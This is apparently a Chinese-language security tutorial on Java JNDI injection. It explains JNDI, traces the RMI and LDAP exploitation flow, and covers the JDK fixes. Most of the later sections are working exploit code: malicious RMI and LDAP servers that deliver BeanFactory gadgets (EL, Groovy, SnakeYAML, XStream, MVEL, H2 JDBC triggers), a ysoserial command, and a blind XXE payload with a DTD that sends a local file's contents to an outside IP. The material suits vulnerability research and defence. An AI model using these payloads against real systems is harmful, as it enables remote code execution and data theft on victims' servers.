简介 JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。 上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务和目录服务,如下图。
jndi包
最重要的是javax.naming包,它包含了访问目录服务所需的类和接口,比如Context、Bindings、References、lookup 等。
JNDI类 常见的类有如下几个
InitialContext 构造方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 InitialContext() InitialContext(boolean lazy) InitialContext(Hashtable<?,?> environment)
常用到的方法有以下几个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 bind(Name name, Object obj) list(String name) lookup(String name) rebind(String name, Object obj) unbind(String name)
demo如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.naming.InitialContext;import javax.naming.NamingException; public class JndiTest {public static void main (String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/work" ;InitialContext initialContext = new InitialContext ();initialContext.lookup(uri); } }
Reference 该类是javax.naming中的一个类,该类表示在命名/目录系统外部找到的对象的引用。此类提供了JNDI类的引用功能 构造方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Reference(String className) Reference(String className, RefAddr addr) Reference(String className, RefAddr addr, String factory, String factoryLocation) Reference(String className, String factory, String factoryLocation)
常用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 void add (int posn, RefAddr addr) void clear () RefAddr get (int posn) Enumeration<RefAddr> getAll () String getClassName () String getFactoryClassLocation () String getFactoryClassName () Object remove (int posn) int size () String toString ()
demo如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry; public class JndiTest {public static void main (String[] args) throws NamingException, RemoteException, AlreadyBoundException {String url = "http://127.0.0.1:8080" ;Registry registry = LocateRegistry.createRegistry(1099 );Reference reference = new Reference ("test" , "test" , url);ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference);registry.bind("aa" ,referenceWrapper); } }
这里在调用完Reference又使用ReferenceWrapper对前面的reference对象进行了封装,之所以这么做是因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类。(将类注册到Registry需要实现Remote和继承UnicastRemoteObject类)
jndi + rmi 注入 服务端还是利用 https://www.yuque.com/zqiangweihuakai/kb/yk0fv5pk1ssnkqxr 此篇的rmi服务端代码 利用jndi 调用rmi服务端的服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package com.rmi; import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RemoteException;import java.util.Hashtable; public class jndi {public static void main (String[] args) throws NamingException, RemoteException {Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8989" ); InitialContext initialContext = new InitialContext (env); Servicetest Servicetest = (Servicetest)initialContext.lookup("test" );String re = Servicetest.test();System.out.println(re); } }
JNDI+DNS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class DNSClient {public static void main (String[] args) {Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory" ); env.put(Context.PROVIDER_URL, "dns://114.114.114.114" ); try {DirContext ctx = new InitialDirContext (env);Attributes res = ctx.getAttributes("quan9i.top" , new String [] {"A" });System.out.println(res); } catch (NamingException e) { e.printStackTrace(); } } }
参考:https://goodapple.top/archives/696 https://xz.aliyun.com/t/13421 https://xz.aliyun.com/t/12277 https://eastjun.top/posts/jndi_inject/ https://tttang.com/archive/1611/#toc_ [https://xz.aliyun.com/t/7079?time__1311=n4%2BxnD0Dy7itGQNKGNnmAzti%3DDkW3DB7in1oD] (https://xz.aliyun.com/t/7079?time__1311=n4%2BxnD0Dy7itGQNKGNnmAzti%3DDkW3DB7in1oD https://xz.aliyun.com/t/7264?time__1311=n4%2BxnD0Dy7G%3DBxGqGNnmADR7DgDfErrx3%2BBbD#toc-0
JNDI加RMI注入低版本执行流程 这里选择使用别人写好的工具启用一个服务端,也可以选择自己简单写一个,我这里为了方便就使用别人的工具
1 2 3 JNDI-Injection-Exploit-1.0 -SNAPSHOT-all.jar 启动命令 java -jar JNDI-Injection-Exploit-1.0 -SNAPSHOT-all.jar -C curl 47.101 .63 .120 :8081
被攻击的客户端代码
1 2 3 4 5 6 7 8 9 10 11 package com.ocean;import javax.naming.InitialContext;import javax.naming.NamingException;public class JDNIAttack { public static void main (String[] args) throws NamingException { InitialContext initialContext = new InitialContext (); initialContext.lookup("rmi://10.169.5.226:1099/wnys6l" ); } }
开始进行分析
继续跟进去
继续跟
在这里可以看到有个熟悉的registry.lookup,其实这里的registry的值就是
所以这里面是存在着rmi反序列化漏洞的。这里先不管这个继续跟到下面decodeObject方法里
这里箭头所指的作用就是将ReferenceWrapper还原成reference,继续跟到NamingManager.getObjectInstance方法里去
跟进箭头所指的地方
这里会进行类加载,跟进去看看
这里会先从本地加载我们穿进去的类,但是肯定是不存在的
之后就会去这里通过codebase 找,也就是我们传入的远程地址,然后进行加载
这里如果是静态代码块就会直接加载执行了
如果是构造函数就会是实例化
JDNI低版本修复 对比下新旧版JDK的com.sun.jndi.rmi.registry.RegistryContext类的decodeObject()函数的代码就很清楚了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this , this .environment); } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException (); var4.setRootCause(var7); throw var4; } } private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; Reference var8 = null ; if (var3 instanceof Reference) { var8 = (Reference)var3; } else if (var3 instanceof Referenceable) { var8 = ((Referenceable)((Referenceable)var3)).getReference(); } if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException ("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); } else { return NamingManager.getObjectInstance(var3, var2, this , this .environment); } } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException (); var4.setRootCause(var7); throw var4; } }
很明显,就只是在使用URLClassLoader加载器加载远程类之前加了个if语句检测com.sun.jndi.ldap.object.trustURLCodebase的值是否为true,而该设置项的值默认为false。
JNDI加LDAP低版本注入执行流程
这里主要是跟前面的协议不同调用不同的lookup,继续跟
继续跟
继续跟进去
接着跟进去
重点在decodeObject这里,这里的attrs就是ldap上的属性
继续跟进去
这里就是获取一些值解析这些属性,可以看到这里有许多判断条件,是因为jndi支持许多类型保存
可以看到如果是序列化的话就会调用反序列化,如果是引用的话就调用
就会将我们的引用给解析出来,跟rmi的类似,解出来之后
回到这里继续跟进去
和rmi就基本一样了到这里。
LDAP低版本修复 比较下新旧版本的com.sun.naming.internal.VersionHelper12类loadClass()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true" .equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null ; } }
很明显,就只是在使用URLClassLoader加载器加载远程类之前加了个if语句检测com.sun.jndi.ldap.object.trustURLCodebase的值是否为true,而该设置项的值默认为false。
JNDI高版本绕过 这里啰嗦说很多,就直接总结网上师傅们所说的,其实就是能够在本地找到一个工厂类并且实现了ObjectFactory接口,并且存在getObjectInstance方法,就可以进行尝试探索利用。而这里比较常用的一个是tomcat的org.apache.naming.factory.BeanFactory
工厂类去调用 javax.el.ELProcessor#eval
方法。这里我们看一下他的执行过程。
我们可以直接来到这一步
跟进去会发现是通过loadClass()函数来加载我们传入的org.apache.naming.factory.BeanFactory类,然后新建该类实例并将其转换成ObjectFactory类型,也就是说,我们传入的Factory类必须实现ObjectFactory接口类、而org.apache.naming.factory.BeanFactory正好满足这一点 :
这里可以知道就是首先会加载本地的工厂类,如果不存在在去远程加载我们指定的类。这里我们知道如果本地存在che.naming.factory.BeanFactory
工厂类他是能加载成功的。所以我们继续跟进
跟进看到org.apache.naming.factory.BeanFactory类的getObjectInstance()函数中,会判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例 :
接着获取Bean类为javax.el.ELProcessor
后,实例化该类并获取其中的forceString类型的内容,其值是我们构造的x=eval
内容
继续往下调试可以看到,查找forceString的内容中是否存在”=”号,不存在的话就调用属性的默认setter方法,存在的话就取键值、其中键是属性名而对应的值是其指定的setter方法。如此,之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点! 之后,就是获取beanClass即javax.el.ELProcessor类的eval()方法并和x属性一同缓存到forced这个HashMap中:
接着while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素:
获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行
最关键的其实在这里,有一个反射的方法,该类的getObjectInstance()
函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference
对象,均是攻击者可控的。
服务端rmi代码 el表达式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server { public static void main (String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097" ); Registry registry = LocateRegistry.createRegistry(1097 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("evilEL" , referenceWrapper); } }
grovy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void main (String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097" ); Registry registry = LocateRegistry.createRegistry(1097 ); ResourceRef ref = new ResourceRef ("groovy.lang.GroovyClassLoader" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "x=parseClass" )); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + "})\n" + "def x\n" ; ref.add(new StringRefAddr ("x" ,script)); ReferenceWrapper referenceWrapper = new com .sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("evilGroovy" , referenceWrapper); }
LDAP高版本绕过 其实这里就是在分析LDAP+JNDI的时候他有个类似swich的东西,当时传入的是引用类,所以走了引用类的逻辑,但是如果我们传入的是序列化的对象,并且后续会被反序列化,那么就相当于存在了一个天然的反序列化入口了,就可以触发本地的Gadget了,可以看白日梦组长的JNDI的视频。
先构造一个存在漏洞的环境
1 2 3 4 5 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2 .1 </version> </dependency>
使用yso工具生成payload
1 java -jar ysoserial-all.jar CommonsCollections6 'open -a Calculator' | base64
这里写一个LDAP服务器的代码并打成jar包方便以后使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 package com.jndibypass;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import org.apache.commons.io.FileUtils;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.File;import java.io.IOException;import java.net.InetAddress;import java.net.URL;public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] tmp_args ) throws Exception{ if (tmp_args.length < 2 ) { System.out.println("Usage: java xxx.jar <IP> <file>" ); System.exit(1 ); } String ip = tmp_args[0 ]; String[] args = new String []{"http://" + ip +"/#Evail" }; String payload = "" ; File file = new File (tmp_args[1 ]); try { payload = FileUtils.readFileToString(file); System.out.println(payload); } catch (IOException e) { e.printStackTrace(); } int port = 6666 ; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[ 0 ]), payload)); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; private String payload; public OperationInterceptor ( URL cb , String payload) { this .codebase = cb; this .payload = payload; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e, payload); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaSerializedData" , Base64.decode(payload)); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
不过这里打jar包有太多坑点参考:
https://blog.csdn.net/NullNullAgo/article/details/124703694
https://blog.csdn.net/qq_42476644/article/details/112178820
将上面生成的payloda放到一个文件中放到ldap里
1 java -jar LDAPServer.jar 127.0 .0 .1 1. txt
之后在可控端输入
现在开始调试,前面的lookup和之前一样主要看关键点
跟到decodeObject里
可以看到这里会根据不同的类型进入不同的判断之前是工厂类现在是序列化的数据,所以会进入第一个判断
执行deserializeObject方法,跟进去
可以看到这里会反序列化读出来
snakeyaml 1 2 3 4 5 6 7 8 9 10 11 12 private static ResourceRef tomcat_snakeyaml () { ResourceRef ref = new ResourceRef ("org.yaml.snakeyaml.Yaml" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); String yaml = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" + " ]]\n" + "]" ; ref.add(new StringRefAddr ("forceString" , "a=load" )); ref.add(new StringRefAddr ("a" , yaml)); return ref; }
参考:https://tttang.com/archive/1405/
xstream 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 private static ResourceRef tomcat_xstream () { ResourceRef ref = new ResourceRef ("com.thoughtworks.xstream.XStream" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); String xml = "<java.util.PriorityQueue serialization='custom'>\n" + " <unserializable-parents/>\n" + " <java.util.PriorityQueue>\n" + " <default>\n" + " <size>2</size>\n" + " </default>\n" + " <int>3</int>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class='sun.tracing.NullProvider'>\n" + " <active>true</active>\n" + " <providerType>java.lang.Comparable</providerType>\n" + " <probes>\n" + " <entry>\n" + " <method>\n" + " <class>java.lang.Comparable</class>\n" + " <name>compareTo</name>\n" + " <parameter-types>\n" + " <class>java.lang.Object</class>\n" + " </parameter-types>\n" + " </method>\n" + " <sun.tracing.dtrace.DTraceProbe>\n" + " <proxy class='java.lang.Runtime'/>\n" + " <implementing__method>\n" + " <class>java.lang.Runtime</class>\n" + " <name>exec</name>\n" + " <parameter-types>\n" + " <class>java.lang.String</class>\n" + " </parameter-types>\n" + " </implementing__method>\n" + " </sun.tracing.dtrace.DTraceProbe>\n" + " </entry>\n" + " </probes>\n" + " </handler>\n" + " </dynamic-proxy>\n" + " <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" + " </java.util.PriorityQueue>\n" + "</java.util.PriorityQueue>" ; ref.add(new StringRefAddr ("forceString" , "a=fromXML" )); ref.add(new StringRefAddr ("a" , xml)); return ref; }
MVEL 1 2 3 4 5 6 7 8 9 private static ResourceRef tomcat_MVEL () { ResourceRef ref = new ResourceRef ("org.mvel2.sh.ShellSession" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "a=exec" )); ref.add(new StringRefAddr ("a" , "push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');" )); return ref; }
Nativelibloader com.sun.glass.utils.NativeLibLoader
是JDK的类,它有一个loadLibrary(String)
方法。
它会去加载指定路径的动态链接库文件,所以只要能够通过WEB功能或者写文件gadget上传一个动态链接库就可以用com.sun.glass.utils.NativeLibLoader
来加载并执行命令。
1 2 3 4 5 6 7 private static ResourceRef tomcat_loadLibrary () { ResourceRef ref = new ResourceRef ("com.sun.glass.utils.NativeLibLoader" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "a=loadLibrary" )); ref.add(new StringRefAddr ("a" , "/../../../../../../../../../../../../tmp/libcmd" )); return ref; }
xxe 它会根据pathname去发起本地或者远程文件访问,并使用 commons-digester 解析返回的 XML 内容,所以这里可以 XXE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.StringRefAddr;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIXXE { public static void main (String[] args) throws NamingException, RemoteException, AlreadyBoundException { System.out.println("[*]Evil RMI Server is Listening on port: 1099" ); Registry registry = LocateRegistry.createRegistry( 1099 ); ResourceRef resourceRef = new ResourceRef ("org.apache.catalina.UserDatabase" ,null ,"" ,"" , true ,"org.apache.catalina.users.MemoryUserDatabaseFactory" ,null ); resourceRef.add(new StringRefAddr ("pathname" , "http://192.227.165.134/xxe.xml" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (resourceRef); registry.bind("Object" , referenceWrapper); } }
xxe盲注payload
1 2 3 4 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.227.165.134/test.dtd" > %remote;%int;%send; ]>
test.dtd
1 2 <!ENTITY % file SYSTEM "file://D://flag.txt" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.227.165.134:8888/1.txt?p=%file;'>" >
jdbc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private static Reference tomcat_dbcp2_RCE () { return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory" ); } private static Reference tomcat_dbcp1_RCE () { return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory" ); } private static Reference commons_dbcp2_RCE () { return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory" ); } private static Reference commons_dbcp1_RCE () { return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory" ); } private static Reference dbcpByFactory (String factory) { Reference ref = new Reference ("javax.sql.DataSource" ,factory,null ); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n" ; ref.add(new StringRefAddr ("driverClassName" ,"org.h2.Driver" )); ref.add(new StringRefAddr ("url" ,JDBC_URL)); ref.add(new StringRefAddr ("username" ,"root" )); ref.add(new StringRefAddr ("password" ,"password" )); ref.add(new StringRefAddr ("initialSize" ,"1" )); return ref; }
四种不同版本的 dbcp 要用不同的工厂类
如果遇到使用的不是 Tomcat 或没有 dbcp 时就可以尝试换成 commons-dbcp。
tomcat-jdbc 如果遇到 dbcp 使用不了时,可以使用 tomcat-jdbc.jar 的 org.apache.tomcat.jdbc.pool.DataSourceFactory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private static Reference tomcat_JDBC_RCE () { return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory" ); } private static Reference dbcpByFactory (String factory) { Reference ref = new Reference ("javax.sql.DataSource" ,factory,null ); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n" ; ref.add(new StringRefAddr ("driverClassName" ,"org.h2.Driver" )); ref.add(new StringRefAddr ("url" ,JDBC_URL)); ref.add(new StringRefAddr ("username" ,"root" )); ref.add(new StringRefAddr ("password" ,"password" )); ref.add(new StringRefAddr ("initialSize" ,"1" )); return ref; }
druid-jdbc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private static Reference druid () { Reference ref = new Reference ("javax.sql.DataSource" ,"com.alibaba.druid.pool.DruidDataSourceFactory" ,null ); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n" ; String JDBC_USER = "root" ; String JDBC_PASSWORD = "password" ; ref.add(new StringRefAddr ("driverClassName" ,"org.h2.Driver" )); ref.add(new StringRefAddr ("url" ,JDBC_URL)); ref.add(new StringRefAddr ("username" ,JDBC_USER)); ref.add(new StringRefAddr ("password" ,JDBC_PASSWORD)); ref.add(new StringRefAddr ("initialSize" ,"1" )); ref.add(new StringRefAddr ("init" ,"true" )); return ref; }
http://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/#%E5%88%A9%E7%94%A8LDAP%E8%BF%94%E5%9B%9E%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE%EF%BC%8C%E8%A7%A6%E5%8F%91%E6%9C%AC%E5%9C%B0Gadget
https://www.cnblogs.com/bitterz/p/15946406.html
https://forum.butian.net/share/1895